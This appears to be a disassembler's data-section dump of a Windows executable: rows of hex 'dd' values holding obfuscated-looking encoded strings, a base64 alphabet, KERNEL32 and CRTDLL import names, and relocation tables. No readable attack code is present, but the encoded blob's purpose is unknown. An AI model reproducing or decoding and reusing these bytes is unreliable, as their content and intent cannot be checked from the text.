		dd 72E1C0Dh, 1B1D0Bh, 0EAB9000Ch, 0F4DDD7DCh, 0D8CACADCh
		dd 0F8DCDEh, 0B1E3000Eh, 908A8486h, 0A0918697h,	9090828Fh
		dd 0A00A2h, 0D0C9EBA6h,	0C8CFF1C3h, 0D1C9C2h, 8EC3000Bh
		dd 0A2B0B0A6h, 0AC81A6A4h, 90082BBh, 2C0F4300h,	200A2722h
		dd 22D2Ch, 0FBB7000Bh, 0F4D3D6D8h, 0D8C4C5C2h, 0E00F6C5h
		dd 0F2D09700h, 0F9FEC0E3h, 0C3E0F8F3h, 0D6E3EFF2h, 0BF000D00h
		dd 0E8CBDAF8h, 0D0DBD1D6h, 0DCDAEDC8h, 0E00CBh,	78694B0Ch
		dd 6862655Bh, 63407B63h, 4D6B62h, 0BDFA0009h, 93AD8E9Fh
		dd 8D959E94h, 13000B00h, 5E677654h, 72606076h, 527674h
		dd 0F8BF0013h, 0D0F9CBDAh, 0CDD8DACDh, 0DBD1CAD0h, 0DBD1D6E8h
		dd 0D00C8D0h, 1D3F7800h, 19143B0Ch, 19360B0Bh, 391D15h
		dd 0E2A60010h, 0C7D6D5CFh, 0EBCEC5D2h, 0C7D5D5C3h, 0E7C3C1h
		dd 0EFAB000Dh, 0D9DFD8CEh, 0C2FCD2C4h, 0DCC4CFC5h, 0E0000E00h
		dd 0B78685A4h, 8F848E89h, 8F92B097h, 0F00A183h,	6D5C1F00h
		dd 7A6B7E7Ah, 7B717648h, 675A6870h, 0F005Eh, 45486A29h
		dd 47407E45h, 795E464Dh, 684A465Bh, 0A2000A00h,	0D0C7D1D7h
		dd 0C68C9091h, 0A00CECEh, 42443100h, 3024354h, 5D5D551Fh
		dd 0A1000E00h, 0F2D5C4E6h, 0CAC2CED5h, 0C4CBC3EEh, 0B00D5C2h
		dd 0AC9DDE00h, 0BBAABFBBh, 0AAB0B198h, 9009Fh, 888586E1h
		dd 85CFD3D2h, 9008D8Dh,	1C1F7800h, 564A4B11h, 14141Ch
		dd 1B3E0005h, 4D1B624Dh, 0AA000500h, 8FF6D98Fh,	400D9h
		dd 1E316742h, 110068h, 0F2E8CF86h, 0E3E8F4E3h, 0FEC3A6F2h
		dd 0F4E9EAF6h, 600F4E3h, 8080EB00h, 939DC69Ah, 0A1000600h
		dd 8CD0CACAh, 600D9D7h,	0C0C6700h, 1F114A16h, 66000600h
		dd 4B170D0Dh, 8001E10h,	0B6E0C500h, 0BDB1A89Ah,	600B0E0h
		dd 0A7A7CC00h, 0B4BAE1BDh, 67000700h, 0A381442h, 561F13h
		dd 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h
		dd 58575655h, 62615A59h, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 33323130h, 37363534h
		dd 2F2B3938h, 2F2F3A00h, 0A0597200h, 0CFF6A89Bh, 42A411h
		dd 8F0AC9A0h, 4106E039h, 0D0399AFEh, 8CA411h, 8F0AC9A0h
		dd 0A715A039h, 0D0658734h, 4A9211h, 0ACC7AF20h,	50F25B4Dh
		dd 0CF98B530h, 82BB11h,	0CEBD00AAh, 96B2840Bh, 1ABAB4B1h
		dd 9CB610h, 1D3400AAh, 2040007h, 0
		dd 0C000h, 0
		dd 2C442546h, 0D026CB33h, 83B411h, 1D94FC0h, 50F21F19h
		dd 0CF98B530h, 82BB11h,	0CEBD00AAh, 50F1FF0Bh, 0CF98B530h
		dd 82BB11h, 0CEBD00AAh,	50F1F70Bh, 0CF98B530h, 82BB11h
		dd 0CEBD00AAh, 50F2400Bh, 0CF98B530h, 82BB11h, 0CEBD00AAh
		dd 2C44270Bh, 0D026CB33h, 83B411h, 1D94FC0h, 0F8098119h
		dd 1ABF327Bh, 0BB8B10h,	0C3000AAh, 0CB6900ABh, 0CF4D9585h
		dd 0C9611h, 0EEF4C780h,	85h, 0
		dd 0C000h, 0
		dd 0C166146h, 0D0CDAFD3h, 3E8A11h, 0E2C94FC0h, 6Eh, 46h	dup(0)
		dd 1607000h, 2 dup(0)
		dd 1618400h, 160AC00h, 1608400h, 2 dup(0)
		dd 161A000h, 160C000h, 12h dup(0)
		dd 160E800h, 160F800h, 1611400h, 2 dup(0)
		dd 1612000h, 1612C00h, 1614000h, 1614C00h, 1615800h, 1616400h
		dd 1616C00h, 1617800h, 2 dup(0)
		dd 160E800h, 160F800h, 1611400h, 2 dup(0)
		dd 1612000h, 1612C00h, 1614000h, 1614C00h, 1615800h, 1616400h
		dd 1616C00h, 1617800h, 2 dup(0)
		dd 45009B00h, 50746978h, 65636F72h, 7373h, 47012400h, 6E457465h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 52027800h
		dd 6E556C74h, 646E6977h, 5F008000h, 706F6466h, 6E65h, 5F014F00h
		dd 6E65706Fh, 66736F5Fh, 646E6168h, 656Ch, 66020D00h, 736F6C63h
		dd 65h,	5F003900h, 69786563h, 74h, 6D024E00h, 6F6C6C61h
		dd 63h,	72026000h, 65736961h, 73026700h, 75627465h, 66h
		dd 73027500h, 70637274h, 79h, 52454B00h, 334C454Eh, 6C642E32h
		dd 6Ch,	1600000h, 2 dup(1600010h), 54524310h, 2E4C4C44h
		dd 4C4C44h, 1601400h, 7	dup(1601410h), 10h, 0Dh	dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 0CC0000h, 0D00000h, 10A0000h, 78h dup(0)
		dd 100000h, 1D800h, 8C303100h, 0FD30F330h, 13310530h, 21311931h
		dd 0B6312731h, 0FC31EF31h, 0E320131h, 23321332h, 3E322932h
		dd 3132B432h, 51333833h, 71335833h, 0F0337833h,	633FC33h
		dd 21341334h, 3B342B34h, 65344B34h, 7D347634h, 98348D34h
		dd 0C534B134h, 0DA34D034h, 0E834DF34h, 0F834F034h, 1034FF34h
		dd 30352035h, 50353F35h, 6B355B35h, 80357035h, 9C359235h
		dd 0AD35A235h, 0CF35B735h, 0DF35D535h, 0FC35E435h, 1F360735h
		dd 2E362736h, 3E363936h, 52364C36h, 62365D36h, 74366836h
		dd 95367B36h, 0A4369F36h, 0B536AA36h, 0F436C536h, 536F936h
		dd 2B371F37h, 78375637h, 8E377E37h, 0B137A237h,	0D037C337h
		dd 0E937D637h, 237F537h, 1B381438h, 36382A38h, 48383F38h
		dd 5E385238h, 69386338h, 0C938B338h, 0EB38E038h, 1038F138h
		dd 23391D39h, 61395A39h, 76396D39h, 0B039A339h,	0D039C739h
		dd 0FB39E639h, 1F3A0A39h, 483A373Ah, 7B3A5E3Ah,	0D53A983Ah
		dd 63AE93Ah, 553B4F3Bh,	6F3B653Bh, 823B743Bh, 9D3B8C3Bh
		dd 0B23BA73Bh, 0CA3BBB3Bh, 0DF3BD43Bh, 0F43BEB3Bh, 0C3C033Bh
		dd 1E3C153Ch, 363C283Ch, 4A3C453Ch, 963C8E3Ch, 0A23C9C3Ch
		dd 0CF3CAC3Ch, 0E13CDB3Ch, 173CE63Ch, 263D1D3Dh, 3B3D313Dh
		dd 4C3D463Dh, 653D5E3Dh, 793D713Dh, 883D7F3Dh, 9C3D903Dh
		dd 0AE3DA93Dh, 0C43DB73Dh, 0CE3DC93Dh, 0E03DDA3Dh, 0EA3DE53Dh
		dd 0FF3DF93Dh, 1B3E043Dh, 413E273Eh, 573E513Eh,	8D3E7F3Eh
		dd 0AB3E943Eh, 0D03EC23Eh, 0F73EE23Eh, 643F083Eh, 923F833Fh
		dd 0A33F9B3Fh, 0B53FB03Fh, 0CB3FBE3Fh, 0D53FD03Fh, 0E73FE13Fh
		dd 0F13FEC3Fh, 3FFD3Fh,	200000h, 28C00h, 8300300h, 19300D30h
		dd 24301F30h, 35302930h, 40303B30h, 51304530h, 5C305730h
		dd 6D306130h, 78307330h, 89307D30h, 94308F30h, 0A5309930h
		dd 0B030AB30h, 0C130B530h, 0CC30C730h, 0DD30D130h, 0E830E330h
		dd 0F930ED30h, 430FF30h, 15310931h, 20311B31h, 31312531h
		dd 3C313731h, 4D314131h, 58315331h, 69315D31h, 74316F31h
		dd 85317931h, 90318B31h, 0A1319531h, 0AC31A731h, 0BD31B131h
		dd 0C831C331h, 0D931CD31h, 0E431DF31h, 0F531E931h, 31FB31h
		dd 11320532h, 1C321732h, 2D322132h, 38323332h, 49323D32h
		dd 54324F32h, 65325932h, 70326B32h, 81327532h, 8C328732h
		dd 0A0329132h, 0AB32A632h, 0E632DA32h, 0F832F032h, 2D332432h
		dd 3A333433h, 5B333F33h, 6D336433h, 92337633h, 0A9339833h
		dd 0C733B433h, 0F033E333h, 0FE33F533h, 10340B33h, 21341534h
		dd 2C342734h, 3D343134h, 48344334h, 59344D34h, 64345F34h
		dd 75346934h, 80347B34h, 91348534h, 9C349734h, 0AD34A134h
		dd 0B834B334h, 0C934BD34h, 0D434CF34h, 0E534D934h, 0F034EB34h
		dd 134F534h, 0C350735h,	1D351135h, 28352335h, 39352D35h
		dd 44353F35h, 55354935h, 60355B35h, 71356535h, 7C357735h
		dd 8D358135h, 98359335h, 0AC359D35h, 0B735B235h, 0D135CA35h
		dd 0F135EA35h, 11360A35h, 78365B36h, 97368D36h,	0A936A436h
		dd 0CC36BE36h, 0F736F036h, 1F371436h, 50374A37h, 80377B37h
		dd 0BA37A837h, 0D537C037h, 1237FD37h, 3E383838h, 82385938h
		dd 0A5388838h, 0C038B038h, 0D138CC38h, 0F438D738h, 17390538h
		dd 38392E39h, 6B395139h, 7C397639h, 92398D39h, 0A0399739h
		dd 0AD39A639h, 0CA39B439h, 0DE39D739h, 239EE39h, 383A083Ah
		dd 593A453Ah, 7A3A6D3Ah, 0A03A8C3Ah, 0B63AA63Ah, 123B003Ah
		dd 3A3B313Bh, 573B4B3Bh, 6E3B633Bh, 923B763Bh, 0B53BAF3Bh
		dd 0D53BCE3Bh, 143BED3Bh, 273C1B3Ch, 5D3C513Ch,	813C733Ch
		dd 0A03C943Ch, 0C63CA63Ch, 0F83CEB3Ch, 1B3D0E3Ch, 523D343Dh
		dd 783D5D3Dh, 933D8C3Dh, 0AF3DA93Dh, 0C03DBB3Dh, 0E13DCF3Dh
		dd 123E063Dh, 6C3E5F3Eh, 9F3E7D3Eh, 0B53EAB3Eh,	0A3EC03Eh
		dd 213F103Fh, 3B3F273Fh, 553F413Fh, 713F5B3Fh, 8C3F853Fh
		dd 0A83FA23Fh, 0CC3FBA3Fh, 0E43FDE3Fh, 3FF63Fh,	300000h
		dd 23000h, 11300800h, 37302530h, 52304030h, 6F305930h
		dd 8C307630h, 0B3309230h, 0D830D230h, 0EE30E730h, 530FE30h
		dd 39312031h, 4A313F31h, 5B315431h, 70316831h, 91318B31h
		dd 0B9319D31h, 0D731BF31h, 0F131E731h, 13320A31h, 25321C32h
		dd 52324D32h, 7E326632h, 0C3329A32h, 0DF32D932h, 0FA32F232h
		dd 3D330532h, 4D334333h, 81336933h, 99338733h, 0C633A833h
		dd 0D933D233h, 433F433h, 3F341434h, 5C344634h, 7F347934h
		dd 94348934h, 0CF34A434h, 0EF34D534h, 134F534h,	16350835h
		dd 39351F35h, 49353F35h, 6B356035h, 84357635h, 93358D35h
		dd 0A2359D35h, 0C335AC35h, 0D835C835h, 0FC35F635h, 10360835h
		dd 33362236h, 43363936h, 60364936h, 73366736h, 90368B36h
		dd 0B9369F36h, 0F236D136h, 2236F736h, 39372937h, 5E374137h
		dd 6E376437h, 8D378737h, 9C379637h, 0BB37A937h,	0CA37C137h
		dd 0DB37D037h, 0F037E637h, 0C380737h, 47381C38h, 59384D38h
		dd 6C386138h, 94387738h, 0B6389E38h, 0CB38BB38h, 0FF38F938h
		dd 13390D38h, 2B391F39h, 4E393439h, 70395839h, 89397539h
		dd 0B039A439h, 0D339CD39h, 0EA39D839h, 0D39FE39h, 333A143Ah
		dd 4E3A393Ah, 653A543Ah, 0A03A753Ah, 0B13AA73Ah, 0C23ABC3Ah
		dd 0EF3ACD3Ah, 0E3B073Ah, 363B153Bh, 413B3C3Bh,	7C3B513Bh
		dd 8B3B823Bh, 0A23B983Bh, 0CC3BC23Bh, 0E83BE33Bh, 263BF83Bh
		dd 373C2D3Ch, 4D3C443Ch, 663C593Ch, 893C823Ch, 0AD3C953Ch
		dd 0D13CCB3Ch, 0F33CED3Ch, 53D003Ch, 213D1B3Dh,	433D3D3Dh
		dd 553D503Dh, 713D6B3Dh, 933D8D3Dh, 0A53DA03Dh,	0C13DBB3Dh
		dd 0E33DDD3Dh, 0F53DF03Dh, 113E0B3Dh, 2B3E253Eh, 433E363Eh
		dd 513E483Eh, 633E5E3Eh, 743E683Eh, 7F3E7A3Eh, 903E843Eh
		dd 9B3E963Eh, 0AC3EA03Eh, 0B73EB23Eh, 0C83EBC3Eh, 0D33ECE3Eh
		dd 0E73ED83Eh, 0F23EED3Eh, 123F0A3Eh, 2E3F1B3Fh, 4B3F453Fh
		dd 5F3F583Fh, 893F653Fh, 0BF3F9A3Fh, 0FD3FC63Fh, 40003Fh
		dd 1B000h, 46304000h, 71305A30h, 0BB309630h, 1F311830h
		dd 89318231h, 0A831A231h, 0BB31B231h, 0C631C031h, 0D531D031h
		dd 0F931E331h, 13320931h, 2C321E32h, 55324032h,	7E325B32h
		dd 0AA329032h, 0D632BC32h, 0EE32DF32h, 35331132h, 63334733h
		dd 7C336A33h, 0A8339633h, 0DA33D333h, 0FF33E033h, 3F341A33h
		dd 58345134h, 70346034h, 0BD348B34h, 0DB34C534h, 0FE34F234h
		dd 21351034h, 38353235h, 6B354F35h, 7E357835h, 0BA35B535h
		dd 0C635C035h, 0FB35E135h, 25360935h, 3E363236h, 60365336h
		dd 78366C36h, 9B368C36h, 0EB36AB36h, 45370836h,	76375937h
		dd 0D037BC37h, 0F037DE37h, 0C380737h, 22381B38h, 3D383738h
		dd 70384C38h, 82387938h, 0A8388D38h, 0BE38AE38h, 0D238CB38h
		dd 2738E138h, 54393E39h, 73395A39h, 8F398939h, 0A3399A39h
		dd 0CB39B239h, 0E239D639h, 133A0D39h, 1E3A183Ah, 313A2B3Ah
		dd 553A373Ah, 7E3A783Ah, 943A853Ah, 0A93A9B3Ah,	0BC3AB53Ah
		dd 0E13ACD3Ah, 0F13AE73Ah, 183B043Ah, 413B3B3Bh, 4D3B463Bh
		dd 693B5D3Bh, 853B763Bh, 9F3B993Bh, 0BC3BA93Bh,	0F33BD03Bh
		dd 3BF93Bh, 153C063Ch, 443C343Ch, 993C4A3Ch, 133C9F3Ch
		dd 503D193Dh, 623D5B3Dh, 773D673Dh, 883D823Dh, 0A13D9C3Dh
		dd 0C63DC03Dh, 0E03DDA3Dh, 0FD3DEA3Dh, 253E113Dh, 383E2B3Eh
		dd 573E513Eh, 723E6B3Eh, 0A63E8B3Eh, 0C23EAC3Eh, 0E33EDD3Eh
		dd 113EF63Eh, 2A3F173Fh, 4B3F453Fh, 923F533Fh, 0C03FAA3Fh
		dd 0DE3FC63Fh, 3FF73Fh,	500000h, 21C00h, 2D301000h, 53303A30h
		dd 70306930h, 81307C30h, 9C309230h, 0B530A430h,	0CB30BB30h
		dd 0D830D130h, 0FC30E330h, 14310A30h, 3B312131h, 4F314131h
		dd 60315931h, 75316C31h, 88317F31h, 9C318F31h, 0A931A231h
		dd 0BC31B531h, 0D731CD31h, 931FD31h, 39322232h,	68325232h
		dd 7E327832h, 9F329432h, 0B732A532h, 0DD32BE32h, 0B32F332h
		dd 34331633h, 55334533h, 7F335B33h, 0DD339D33h,	233FA33h
		dd 9C346034h, 0C834BD34h, 0ED34DC34h, 1934F334h, 3D353635h
		dd 60354F35h, 83356B35h, 8E358935h, 0AA359935h,	0B535B035h
		dd 0C635C035h, 0DB35D535h, 0E635E135h, 0F135EC35h, 0FC35F735h
		dd 0B360135h, 1D361236h, 2D362836h, 38363336h, 43363E36h
		dd 4E364936h, 59365436h, 6B366536h, 7B367636h, 8D368136h
		dd 0A2369436h, 0B236AD36h, 0C536BE36h, 0DC36D136h, 0EF36E336h
		dd 0FD36F636h, 0A370536h, 26372037h, 46373D37h,	6B376537h
		dd 78377337h, 8D377E37h, 0AA379337h, 0C537B637h, 0EC37CA37h
		dd 0FA37F137h, 3F380137h, 57384438h, 65385F38h,	0A938A338h
		dd 0D538CF38h, 0E338DC38h, 0F038EB38h, 738F738h, 1D391139h
		dd 33392839h, 52394B39h, 78395939h, 9E398839h, 0BF39A439h
		dd 0D139CB39h, 439FD39h, 193A0A3Ah, 303A213Ah, 463A403Ah
		dd 643A533Ah, 8D3A6B3Ah, 0A33A9C3Ah, 0BC3AAA3Ah, 0D23AC63Ah
		dd 0E63AD93Ah, 0F33AEC3Ah, 0F3B073Ah, 2B3B1E3Bh, 523B383Bh
		dd 5E3B583Bh, 993B6D3Bh, 0B13BA03Bh, 0E03BC33Bh, 23BEC3Bh
		dd 143C0D3Ch, 0DB3C6D3Ch, 0ED3CE63Ch, 113D0B3Ch, 453D3D3Dh
		dd 0A33D9C3Dh, 0B93DB33Dh, 0D13DC83Dh, 1B3DD73Dh, 5C3E413Eh
		dd 843E663Eh, 903E893Eh, 9F3E983Eh, 0AB3EA53Eh,	0C23EBC3Eh
		dd 0E03EDA3Eh, 0F93EF33Eh, 163EFF3Eh, 2C3F223Fh, 3B3F343Fh
		dd 493F413Fh, 6F3F503Fh, 973F843Fh, 0BA3FA83Fh,	0E93FDD3Fh
		dd 3FF83Fh, 600000h, 14800h, 26301400h,	44303A30h, 67305430h
		dd 8B308630h, 0DF30CA30h, 0F730E830h, 1A310430h, 3E312E31h
		dd 7E316C31h, 0B1318731h, 0D031B731h, 231E431h,	12320C32h
		dd 22321832h, 37322B32h, 60323E32h, 7A326632h, 0B9328032h
		dd 0D432C732h, 0F232E532h, 1F32FA32h, 32332D33h, 45333E33h
		dd 7A337533h, 0A1339333h, 0BA33B433h, 0D733C933h, 0E933DC33h
		dd 833F833h, 53343E34h,	77346734h, 0C034AD34h, 0F534EB34h
		dd 0D34FB34h, 2E351C35h, 4D354635h, 90357A35h, 0F835AE35h
		dd 1F361235h, 6A363B36h, 0D6367036h, 0E370836h,	1F371937h
		dd 33372D37h, 47374137h, 3B382F37h, 79387338h, 94388D38h
		dd 0B838AA38h, 7C38BE38h, 0A939A239h, 0EA39E239h, 3D39F139h
		dd 583A493Ah, 6D3A5E3Ah, 853A733Ah, 0A43A9E3Ah,	4A3B293Ah
		dd 9F3B983Bh, 2C3C263Bh, 983C713Ch, 0FF3C9E3Ch,	113D0C3Ch
		dd 4C3D3F3Dh, 593D533Dh, 723D603Dh, 0A93DA33Dh,	0D53DCE3Dh
		dd 43DED3Dh, 453E163Eh,	523E4C3Eh, 853E7F3Eh, 0EB3E973Eh
		dd 93EF13Eh, 243F0F3Fh,	563F353Fh, 7E3F633Fh, 0D13F943Fh
		dd 0E53FD83Fh, 3FEB3Fh,	700000h, 18C00h, 62305C00h, 78307230h
		dd 8C308630h, 0AC30A630h, 0C830BA30h, 0F030CE30h, 430F630h
		dd 1A310A31h, 38312131h, 65315B31h, 7F316F31h, 0DC31D531h
		dd 18320C31h, 8E325932h, 532FF32h, 43332033h, 5F335933h
		dd 81337B33h, 0A4339C33h, 0C133BA33h, 0D533CF33h, 49344033h
		dd 0A347D34h, 1E351835h, 31352A35h, 89358235h, 43362E35h
		dd 5A364936h, 70366A36h, 87368136h, 0A9369836h,	0CB36BB36h
		dd 1B370636h, 32372C37h, 5B373B37h, 7A376537h, 0A0378F37h
		dd 0BD37A637h, 0D337CC37h, 0FE37EC37h, 46381337h, 6E385C38h
		dd 7E387838h, 0BD38AD38h, 0E338DC38h, 538FF38h,	24391E39h
		dd 47393839h, 63394D39h, 90398439h, 0AB399939h,	0CB39B839h
		dd 1239D439h, 253A173Ah, 443A393Ah, 653A4A3Ah, 873A7C3Ah
		dd 0AB3AA43Ah, 0E13ADC3Ah, 0F93AF43Ah, 313B193Ah, 493B3C3Bh
		dd 7A3B6B3Bh, 0A43B8E3Bh, 0B53BAF3Bh, 0DD3BC93Bh, 193BF83Bh
		dd 393C203Ch, 593C403Ch, 8B3C603Ch, 9A3C913Ch, 0A73CA13Ch
		dd 0C53CAC3Ch, 0E13CD83Ch, 0F83CF23Ch, 183D123Ch, 463D273Dh
		dd 803D7A3Dh, 9F3D923Dh, 0AE3DA83Dh, 0C33DBB3Dh, 0D73DC93Dh
		dd 73DFE3Dh, 203E1A3Eh,	5B3E433Eh, 7A3E753Eh, 933E893Eh
		dd 0B53E993Eh, 0D33EC43Eh, 0E83EE33Eh, 173EF73Eh, 323F1E3Fh
		dd 683F4E3Fh, 7C3F6D3Fh, 0B93FA93Fh, 0D63FC83Fh, 0F73FEE3Fh
		dd 80003Fh, 17800h, 0B300500h, 3E303530h, 4A304330h, 0A1306730h
		dd 0F030E230h, 630F630h, 2F312831h, 66315131h, 7B317331h
		dd 0B731A031h, 0E231BD31h, 1D31E831h, 8B326332h, 0B932A032h
		dd 932DE32h, 2B331B33h,	42333733h, 7D335133h, 0B433A433h
		dd 0A33C733h, 2D342634h, 8B345934h, 0BA349134h,	0E734D334h
		dd 14350434h, 44353E35h, 94358E35h, 0BD35A435h,	0E735D135h
		dd 7360035h, 37363136h,	6F366A36h, 9C368E36h, 0B736A336h
		dd 0F336ED36h, 2D372036h, 68374237h, 9D376E37h,	0D237C737h
		dd 0F237DF37h, 1C380D37h, 44382238h, 70384A38h,	99387638h
		dd 0CC38BC38h, 0A38DF38h, 1D391339h, 3E393139h,	5B394839h
		dd 71396539h, 0BF39A039h, 0D239C839h, 0EC39DB39h, 39F539h
		dd 223A153Ah, 7A3A703Ah, 0B63AAF3Ah, 0F83AE13Ah, 253B1F3Ah
		dd 463B353Bh, 0A03B4C3Bh, 0D53BBE3Bh, 0F23BDB3Bh, 283BF83Bh
		dd 623C2E3Ch, 6F3C693Ch, 0A73C7D3Ch, 0CA3CAD3Ch, 0D63CD03Ch
		dd 1E3CDC3Ch, 3C3D233Dh, 643D503Dh, 7C3D693Dh, 0E83D903Dh
		dd 0FA3DEE3Dh, 213E0D3Dh, 393E263Eh, 863E793Eh,	0D63E923Eh
		dd 0FE3EF03Eh, 163F043Eh, 2D3F263Fh, 433F363Fh,	513F483Fh
		dd 633F5E3Fh, 733F693Fh, 863F7A3Fh, 913F8C3Fh, 0AB3FA43Fh
		dd 0D13FBE3Fh, 0F33FE43Fh, 3FFA3Fh, 900000h, 26000h, 1E301200h
		dd 30302B30h, 48304230h, 63305630h, 79307230h, 0B8308030h
		dd 0F530C030h, 15310030h, 55314431h, 6F316931h,	95317D31h
		dd 0AD319B31h, 0BD31B631h, 0D131C431h, 0E031D731h, 0ED31E731h
		dd 0B31F231h, 1F321632h, 44322632h, 5B325232h, 85327F32h
		dd 0E932AB32h, 2A32EF32h, 7A333133h, 9D338133h,	0E333DB33h
		dd 0C33F833h, 33342D34h, 4C344634h, 6C346634h, 9F349934h
		dd 0D334CD34h, 0F234DF34h, 19350534h, 33352D35h, 45353835h
		dd 50354B35h, 63355D35h, 75356835h, 80357B35h, 0B635B035h
		dd 0EB35DE35h, 25361135h, 3F363936h, 5D365736h,	9B369536h
		dd 0C736B336h, 0DE36CD36h, 0ED36E336h, 0FC36F536h, 19370436h
		dd 38372637h, 97378E37h, 0A4379E37h, 0E937E437h, 137EF37h
		dd 13380E38h, 29381C38h, 34382E38h, 49383C38h, 54384F38h
		dd 90387938h, 0B038A238h, 0DB38D438h, 638FA38h,	1F391039h
		dd 37392E39h, 4E393D39h, 5A395439h, 7D397039h, 97398A39h
		dd 0A939A339h, 0C139AF39h, 0D739CF39h, 0EA39E539h, 0FF39F339h
		dd 103A0A39h, 223A1D3Ah, 303A2A3Ah, 443A3E3Ah, 553A4D3Ah
		dd 663A5B3Ah, 753A6E3Ah
		dd 953A813Ah, 0AE3A9B3Ah, 0C03AB93Ah, 0EC3ADF3Ah, 0FA3AF13Ah
		dd 0C3B073Ah, 1D3B113Bh, 283B233Bh, 393B2D3Bh, 443B3F3Bh
		dd 553B493Bh, 603B5B3Bh, 713B653Bh, 7C3B773Bh, 8D3B813Bh
		dd 983B933Bh, 0A93B9D3Bh, 0B43BAF3Bh, 0C53BB93Bh, 0D03BCB3Bh
		dd 0E13BD53Bh, 0EC3BE73Bh, 0FD3BF13Bh, 83C033Bh, 193C0D3Ch
		dd 243C1F3Ch, 353C293Ch, 403C3B3Ch, 513C453Ch, 5C3C573Ch
		dd 6D3C613Ch, 783C733Ch, 8C3C7D3Ch, 973C923Ch, 0AC3C9F3Ch
		dd 0BA3CB13Ch, 0CC3CC73Ch, 0DE3CD13Ch, 0E93CE43Ch, 33CFB3Ch
		dd 0F3D093Dh, 343D193Dh, 4E3D3A3Dh, 673D553Dh, 723D6D3Dh
		dd 0AF3D953Dh, 0BE3DB53Dh, 0D43DCB3Dh, 0E33DDA3Dh, 33DE93Dh
		dd 133E0B3Eh, 293E1F3Eh, 3A3E2F3Eh, 553E4C3Eh, 823E5C3Eh
		dd 0BA3E9E3Eh, 0D43ECC3Eh, 0EB3EDE3Eh, 33EF43Eh, 173F0E3Fh
		dd 323F223Fh, 583F493Fh, 763F5E3Fh, 873F7C3Fh, 0A93FA23Fh
		dd 0D53FCF3Fh, 3FFC3Fh,	0A00000h, 22400h, 10300600h, 2E302730h
		dd 67305730h, 77307130h, 8A307D30h, 9B309030h, 0B330AC30h
		dd 0E530DB30h, 1030F530h, 38312731h, 45313F31h,	79316031h
		dd 84317F31h, 0A5319B31h, 0C231BC31h, 0E031D631h, 931F631h
		dd 27321232h, 88325132h, 0C1329132h, 132C732h, 29332033h
		dd 58335233h, 0A7336B33h, 0ED33B133h, 32340A33h, 3F343934h
		dd 58344F34h, 89345F34h, 9F349234h, 0C934B134h,	0E134D034h
		dd 0F734F134h, 17350434h, 2D351D35h, 46353435h,	64354C35h
		dd 82357635h, 0A1358C35h, 0AD35A735h, 0EF35E235h, 1D361735h
		dd 4A363436h, 71365036h, 87368136h, 0EE36D036h,	4B370236h
		dd 5A375137h, 76377037h, 92378C37h, 0C537BC37h,	0E37DD37h
		dd 28382238h, 4A383F38h, 6D385138h, 89387938h, 9B389538h
		dd 0EA38B638h, 0E38F038h, 24391939h, 41393A39h,	82397B39h
		dd 0AE39A239h, 0D639BC39h, 0EF39E639h, 0A39FE39h, 2A3A1D3Ah
		dd 4F3A453Ah, 633A563Ah, 8C3A803Ah, 0A43A9E3Ah,	0CA3ABC3Ah
		dd 0F93AEA3Ah, 0A3B033Ah, 2C3B1F3Bh, 3B3B363Bh,	603B553Bh
		dd 723B663Bh, 8C3B833Bh, 0AB3B9B3Bh, 0D13BC63Bh, 0E43BD73Bh
		dd 0F13BEA3Bh, 223BFE3Bh, 0BE3C5E3Ch, 0C93CC43Ch, 0E73CDC3Ch
		dd 0F63CED3Ch, 283D223Ch, 593D533Dh, 703D673Dh,	8F3D843Dh
		dd 0A13D983Dh, 0B03DAA3Dh, 0BD3DB73Dh, 0D73DC63Dh, 0E93DE33Dh
		dd 0F33DEE3Dh, 53DFF3Dh, 0F3E0A3Eh, 213E1B3Eh, 2B3E263Eh
		dd 3D3E373Eh, 473E423Eh, 593E533Eh, 633E5E3Eh, 753E6F3Eh
		dd 7F3E7A3Eh, 913E8B3Eh, 9B3E963Eh, 0AD3EA73Eh,	0B73EB23Eh
		dd 0C93EC33Eh, 0D33ECE3Eh, 0E53EDF3Eh, 0EF3EEA3Eh, 13EFB3Eh
		dd 0B3F063Fh, 1D3F173Fh, 273F223Fh, 393F333Fh, 433F3E3Fh
		dd 553F4F3Fh, 5F3F5A3Fh, 713F6B3Fh, 7B3F763Fh, 8D3F873Fh
		dd 973F923Fh, 0A93FA33Fh, 0B33FAE3Fh, 0C53FBF3Fh, 0CF3FCA3Fh
		dd 0E13FDB3Fh, 0EB3FE63Fh, 0FD3FF73Fh, 0B0003Fh, 27C00h
		dd 7300200h, 19301330h,	23301E30h, 35302F30h, 3F303A30h
		dd 51304B30h, 5B305630h, 6D306730h, 77307230h, 89308330h
		dd 93308E30h, 0A5309F30h, 0AF30AA30h, 0C130BB30h, 0CB30C630h
		dd 0DD30D730h, 0E730E230h, 0F930F330h, 330FE30h, 15310F31h
		dd 1F311A31h, 31312B31h, 3B313631h, 4D314731h, 57315231h
		dd 69316331h, 73316E31h, 85317F31h, 8F318A31h, 0A1319B31h
		dd 0AB31A631h, 0BD31B731h, 0C731C231h, 0D931D331h, 0E331DE31h
		dd 0F531EF31h, 0FF31FA31h, 11320B31h, 1B321632h, 2D322732h
		dd 37323232h, 49324332h, 53324E32h, 65325F32h, 6F326A32h
		dd 81327B32h, 8B328632h, 9D329732h, 0A732A232h,	0B932B332h
		dd 0C332BE32h, 0D532CF32h, 0DF32DA32h, 0F132EB32h, 0FB32F632h
		dd 0D330732h, 17331233h, 29332333h, 33332E33h, 4B334533h
		dd 0B1335033h, 0BC33B733h, 10340933h, 2C341E34h, 40343334h
		dd 52344C34h, 66346034h, 82347434h, 9A349434h, 0AD34A634h
		dd 0C734B934h, 0DA34CD34h, 1934E434h, 30352035h, 47353B35h
		dd 63355A35h, 72356C35h, 8A358335h, 0AB359D35h,	0BE35B135h
		dd 0DC35D035h, 0F035E335h, 935FA35h, 1D361236h,	2E362336h
		dd 43363736h, 5C365136h, 6F366536h, 85367D36h, 99368E36h
		dd 0B7369F36h, 0CD36C036h, 0F936D936h, 21371136h, 4D374237h
		dd 78376D37h, 8E378537h, 0B537A737h, 0D837BF37h, 137F637h
		dd 1C381638h, 41383B38h, 75386F38h, 0B838B138h,	0CC38C638h
		dd 0F238DF38h, 0B38F838h, 24391E39h, 39393339h,	74395939h
		dd 8E397A39h, 0BF399839h, 0F239E039h, 439FF39h,	163A0A3Ah
